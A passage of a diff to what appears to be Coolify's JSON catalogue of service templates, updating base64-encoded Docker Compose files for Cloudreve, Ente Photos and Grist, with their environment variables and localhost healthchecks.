+ "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NMT1VEUkVWRV81MjEyCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5UeXBlPXBvc3RncmVzCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Ib3N0PXBvc3RncmVzCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuVXNlcj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQ1JfQ09ORl9EYXRhYmFzZS5OYW1lPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Qb3J0PTU0MzIKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5TZXJ2ZXI9cmVkaXM6NjM3OScKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5QYXNzd29yZD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnY2xvdWRyZXZlLWRhdGE6L2Nsb3VkcmV2ZS9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5jCiAgICAgICAgLSAnLXonCiAgICAgICAgLSBsb2NhbGhvc3QKICAgICAgICAtICc1MjEyJwogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==",
"tags": [
"file sharing",
"cloud storage",
@@ -1173,7 +1173,7 @@
"ente-photos": {
"documentation": "https://help.ente.io/self-hosting/installation/compose?utm_source=coolify.io",
"slogan": "Ente Photos is a fully open source, End to End Encrypted alternative to Google Photos and Apple Photos.",
- "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01VU0VVTV84MDgwCiAgICAgIC0gJ0VOVEVfSFRUUF9VU0VfVExTPSR7RU5URV9IVFRQX1VTRV9UTFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9BUFBTX1BVQkxJQ19BTEJVTVM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMn0nCiAgICAgIC0gJ0VOVEVfQVBQU19DQVNUPSR7U0VSVklDRV9VUkxfV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMX0nCiAgICAgIC0gJ0VOVEVfREJfSE9TVD0ke0VOVEVfREJfSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdFTlRFX0RCX1BPUlQ9JHtFTlRFX0RCX1BPUlQ6LTU0MzJ9JwogICAgICAtICdFTlRFX0RCX05BTUU9JHtFTlRFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgICAtICdFTlRFX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ0VOVEVfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9LRVlfRU5DUllQVElPTj0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9FTkNSWVBUSU9OfScKICAgICAgLSAnRU5URV9LRVlfSEFTSD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF82NF9IQVNIfScKICAgICAgLSAnRU5URV9KV1RfU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0X0pXVH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfQURNSU49JHtFTlRFX0lOVEVSTkFMX0FETUlOOi0xNTgwNTU5OTYyMzg2NDM4fScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTj0ke0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT046LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQVJFX0xPQ0FMX0JVQ0tFVFM9JHtQUklNQVJZX1NUT1JBR0VfQVJFX0xPQ0FMX0JVQ0tFVFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fVVNFX1BBVEhfU1RZTEVfVVJMUz0ke1BSSU1BUllfU1RPUkFHRV9VU0VfUEFUSF9TVFlMRV9VUkxTOi10cnVlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fS0VZPSR7UzNfU1RPUkFHRV9LRVk6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1NFQ1JFVD0ke1MzX1NUT1JBR0VfU0VDUkVUOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9FTkRQT0lOVD0ke1MzX1NUT1JBR0VfRU5EUE9JTlQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1JFR0lPTj0ke1MzX1NUT1JBR0VfUkVHSU9OOi11cy1lYXN0LTF9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9CVUNLRVQ9JHtTM19TVE9SQUdFX0JVQ0tFVDo/fScKICAgICAgLSAnRU5URV9TTVRQX0hPU1Q9JHtFTlRFX1NNVFBfSE9TVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9QT1JUPSR7RU5URV9TTVRQX1BPUlR9JwogICAgICAtICdFTlRFX1NNVFBfVVNFUk5BTUU9JHtFTlRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdFTlRFX1NNVFBfUEFTU1dPUkQ9JHtFTlRFX1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdFTlRFX1NNVFBfRU1BSUw9JHtFTlRFX1NNVFBfRU1BSUx9JwogICAgICAtICdFTlRFX1NNVFBfU0VOREVSX05BTUU9JHtFTlRFX1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdFTlRFX1NNVFBfRU5DUllQVElPTj0ke0VOVEVfU01UUF9FTkNSWVBUSU9OfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdtdXNldW0tZGF0YTovZGF0YScKICAgICAgLSAnbXVzZXVtLWNvbmZpZzovY29uZmlnJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9waW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB3ZWI6CiAgICBpbWFnZTogZ2hjci5pby9lbnRlLWlvL3dlYgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9VUkxfTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9VUkxfV0VCXzMwMDJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtTRVJWSUNFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJHtQT1NUR1JFU19VU0VSfSAtZCAke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCg==",
+ "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01VU0VVTV84MDgwCiAgICAgIC0gJ0VOVEVfSFRUUF9VU0VfVExTPSR7RU5URV9IVFRQX1VTRV9UTFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9BUFBTX1BVQkxJQ19BTEJVTVM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMn0nCiAgICAgIC0gJ0VOVEVfQVBQU19DQVNUPSR7U0VSVklDRV9VUkxfV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMX0nCiAgICAgIC0gJ0VOVEVfUEhPVE9TX09SSUdJTj0ke1NFUlZJQ0VfVVJMX1dFQn0nCiAgICAgIC0gJ0VOVEVfREJfSE9TVD0ke0VOVEVfREJfSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdFTlRFX0RCX1BPUlQ9JHtFTlRFX0RCX1BPUlQ6LTU0MzJ9JwogICAgICAtICdFTlRFX0RCX05BTUU9JHtFTlRFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgICAtICdFTlRFX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ0VOVEVfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9LRVlfRU5DUllQVElPTj0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9FTkNSWVBUSU9OfScKICAgICAgLSAnRU5URV9LRVlfSEFTSD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF82NF9IQVNIfScKICAgICAgLSAnRU5URV9KV1RfU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0X0pXVH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfQURNSU49JHtFTlRFX0lOVEVSTkFMX0FETUlOOi0xNTgwNTU5OTYyMzg2NDM4fScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTj0ke0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT046LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQVJFX0xPQ0FMX0JVQ0tFVFM9JHtQUklNQVJZX1NUT1JBR0VfQVJFX0xPQ0FMX0JVQ0tFVFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fVVNFX1BBVEhfU1RZTEVfVVJMUz0ke1BSSU1BUllfU1RPUkFHRV9VU0VfUEFUSF9TVFlMRV9VUkxTOi10cnVlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fS0VZPSR7UzNfU1RPUkFHRV9LRVk6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1NFQ1JFVD0ke1MzX1NUT1JBR0VfU0VDUkVUOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9FTkRQT0lOVD0ke1MzX1NUT1JBR0VfRU5EUE9JTlQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1JFR0lPTj0ke1MzX1NUT1JBR0VfUkVHSU9OOi11cy1lYXN0LTF9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9CVUNLRVQ9JHtTM19TVE9SQUdFX0JVQ0tFVDo/fScKICAgICAgLSAnRU5URV9TTVRQX0hPU1Q9JHtFTlRFX1NNVFBfSE9TVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9QT1JUPSR7RU5URV9TTVRQX1BPUlR9JwogICAgICAtICdFTlRFX1NNVFBfVVNFUk5BTUU9JHtFTlRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdFTlRFX1NNVFBfUEFTU1dPUkQ9JHtFTlRFX1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdFTlRFX1NNVFBfRU1BSUw9JHtFTlRFX1NNVFBfRU1BSUx9JwogICAgICAtICdFTlRFX1NNVFBfU0VOREVSX05BTUU9JHtFTlRFX1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdFTlRFX1NNVFBfRU5DUllQVElPTj0ke0VOVEVfU01UUF9FTkNSWVBUSU9OfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdtdXNldW0tZGF0YTovZGF0YScKICAgICAgLSAnbXVzZXVtLWNvbmZpZzovY29uZmlnJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9waW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB3ZWI6CiAgICBpbWFnZTogZ2hjci5pby9lbnRlLWlvL3dlYgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9VUkxfTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9VUkxfV0VCXzMwMDJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtTRVJWSUNFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJHtQT1NUR1JFU19VU0VSfSAtZCAke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCg==",
"tags": [
"photos",
"gallery",
@@ -1891,7 +1891,7 @@
"grist": {
"documentation": "https://support.getgrist.com/?utm_source=coolify.io",
"slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.",
- "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUklTVF80NDMKICAgICAgLSAnQVBQX0hPTUVfVVJMPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdBUFBfRE9DX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfScKICAgICAgLSAnR1JJU1RfRE9NQUlOPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdHUklTVF9TVVBQT1JUX0FOT049JHtTVVBQT1JUX0FOT046LWZhbHNlfScKICAgICAgLSAnR1JJU1RfRk9SQ0VfTE9HSU49JHtGT1JDRV9MT0dJTjotdHJ1ZX0nCiAgICAgIC0gJ0NPT0tJRV9NQVhfQUdFPSR7Q09PS0lFX01BWF9BR0U6LTg2NDAwMDAwfScKICAgICAgLSAnR1JJU1RfUEFHRV9USVRMRV9TVUZGSVg9JHtQQUdFX1RJVExFX1NVRkZJWDotIC0gU3VmZml4fScKICAgICAgLSAnR1JJU1RfSElERV9VSV9FTEVNRU5UUz0ke0hJREVfVUlfRUxFTUVOVFM6LWJpbGxpbmcsc2VuZFRvRHJpdmUsc3VwcG9ydEdyaXN0LG11bHRpQWNjb3VudHMsdHV0b3JpYWxzfScKICAgICAgLSAnR1JJU1RfVUlfRkVBVFVSRVM9JHtVSV9GRUFUVVJFUzotaGVscENlbnRlcixiaWxsaW5nLHRlbXBsYXRlcyxjcmVhdGVTaXRlLG11bHRpU2l0ZSxzZW5kVG9Ecml2ZSx0dXRvcmlhbHMsc3VwcG9ydEdyaXN0fScKICAgICAgLSAnR1JJU1RfREVGQVVMVF9FTUFJTD0ke0RFRkFVTFRfRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdHUklTVF9PUkdfSU5fUEFUSD0ke09SR19JTl9QQVRIOi10cnVlfScKICAgICAgLSAnR1JJU1RfT0lEQ19TUF9IT1NUPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TQ09QRVM9JHtPSURDX0lEUF9TQ09QRVM6LW9wZW5pZCBwcm9maWxlIGVtYWlsfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVD0ke09JRENfSURQX1NLSVBfRU5EX1NFU1NJT05fRU5EUE9JTlQ6LWZhbHNlfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfSVNTVUVSPSR7T0lEQ19JRFBfSVNTVUVSOj99JwogICAgICAtICdHUklTVF9PSURDX0lEUF9DTElFTlRfSUQ9JHtPSURDX0lEUF9DTElFTlRfSUQ6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9TRUNSRVQ9JHtPSURDX0lEUF9DTElFTlRfU0VDUkVUOj99JwogICAgICAtICdHUklTVF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF8xMjh9JwogICAgICAtICdHUklTVF9IT01FX0lOQ0xVREVfU1RBVElDPSR7SE9NRV9JTkNMVURFX1NUQVRJQzotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX1NBTkRCT1hfRkxBVk9SPSR7U0FOREJPWF9GTEFWT1I6LWd2aXNvcn0nCiAgICAgIC0gJ0FMTE9XRURfV0VCSE9PS19ET01BSU5TPSR7QUxMT1dFRF9XRUJIT09LX0RPTUFJTlN9JwogICAgICAtICdDT01NRU5UUz0ke0NPTU1FTlRTOi10cnVlfScKICAgICAgLSAnVFlQRU9STV9UWVBFPSR7VFlQRU9STV9UWVBFOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1RZUEVPUk1fREFUQUJBU0U9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdUWVBFT1JNX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnVFlQRU9STV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX0hPU1Q9JHtUWVBFT1JNX0hPU1R9JwogICAgICAtICdUWVBFT1JNX1BPUlQ9JHtUWVBFT1JNX1BPUlQ6LTU0MzJ9JwogICAgICAtICdUWVBFT1JNX0xPR0dJTkc9JHtUWVBFT1JNX0xPR0dJTkc6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPSR7UkVESVNfVVJMOi1yZWRpczovL3JlZGlzOjYzNzl9JwogICAgICAtICdHUklTVF9IRUxQX0NFTlRFUj0ke1NFUlZJQ0VfVVJMX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfS90ZXJtcycKICAgICAgLSAnRlJFRV9DT0FDSElOR19DQUxMX1VSTD0ke0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkx9JwogICAgICAtICdHUklTVF9DT05UQUNUX1NVUFBPUlRfVVJMPSR7Q09OVEFDVF9TVVBQT1JUX1VSTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdC1kYXRhOi9wZXJzaXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAicmVxdWlyZSgnaHR0cCcpLmdldCgnaHR0cDovL2xvY2FsaG9zdDo4NDg0L3N0YXR1cycsIHJlcyA9PiBwcm9jZXNzLmV4aXQocmVzLnN0YXR1c0NvZGUgPT09IDIwMCA/IDAgOiAxKSkiCiAgICAgICAgLSAnPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNicKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcnCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==",
+ "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUklTVF84NDg0CiAgICAgIC0gJ0FQUF9IT01FX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfScKICAgICAgLSAnQVBQX0RPQ19VUkw9JHtTRVJWSUNFX1VSTF9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0dSSVNUX1NVUFBPUlRfQU5PTj0ke1NVUFBPUlRfQU5PTjotZmFsc2V9JwogICAgICAtICdHUklTVF9GT1JDRV9MT0dJTj0ke0ZPUkNFX0xPR0lOOi10cnVlfScKICAgICAgLSAnQ09PS0lFX01BWF9BR0U9JHtDT09LSUVfTUFYX0FHRTotODY0MDAwMDB9JwogICAgICAtICdHUklTVF9QQUdFX1RJVExFX1NVRkZJWD0ke1BBR0VfVElUTEVfU1VGRklYOi0gLSBTdWZmaXh9JwogICAgICAtICdHUklTVF9ISURFX1VJX0VMRU1FTlRTPSR7SElERV9VSV9FTEVNRU5UUzotYmlsbGluZyxzZW5kVG9Ecml2ZSxzdXBwb3J0R3Jpc3QsbXVsdGlBY2NvdW50cyx0dXRvcmlhbHN9JwogICAgICAtICdHUklTVF9VSV9GRUFUVVJFUz0ke1VJX0ZFQVRVUkVTOi1oZWxwQ2VudGVyLGJpbGxpbmcsdGVtcGxhdGVzLGNyZWF0ZVNpdGUsbXVsdGlTaXRlLHNlbmRUb0RyaXZlLHR1dG9yaWFscyxzdXBwb3J0R3Jpc3R9JwogICAgICAtICdHUklTVF9ERUZBVUxUX0VNQUlMPSR7REVGQVVMVF9FTUFJTDotP30nCiAgICAgIC0gJ0dSSVNUX09SR19JTl9QQVRIPSR7T1JHX0lOX1BBVEg6LXRydWV9JwogICAgICAtICdHUklTVF9PSURDX1NQX0hPU1Q9JHtTRVJWSUNFX1VSTF9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX1NDT1BFUz0ke09JRENfSURQX1NDT1BFUzotb3BlbmlkIHByb2ZpbGUgZW1haWx9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TS0lQX0VORF9TRVNTSU9OX0VORFBPSU5UPSR7T0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVDotZmFsc2V9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9JU1NVRVI9JHtPSURDX0lEUF9JU1NVRVI6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9JRD0ke09JRENfSURQX0NMSUVOVF9JRDo/fScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfQ0xJRU5UX1NFQ1JFVD0ke09JRENfSURQX0NMSUVOVF9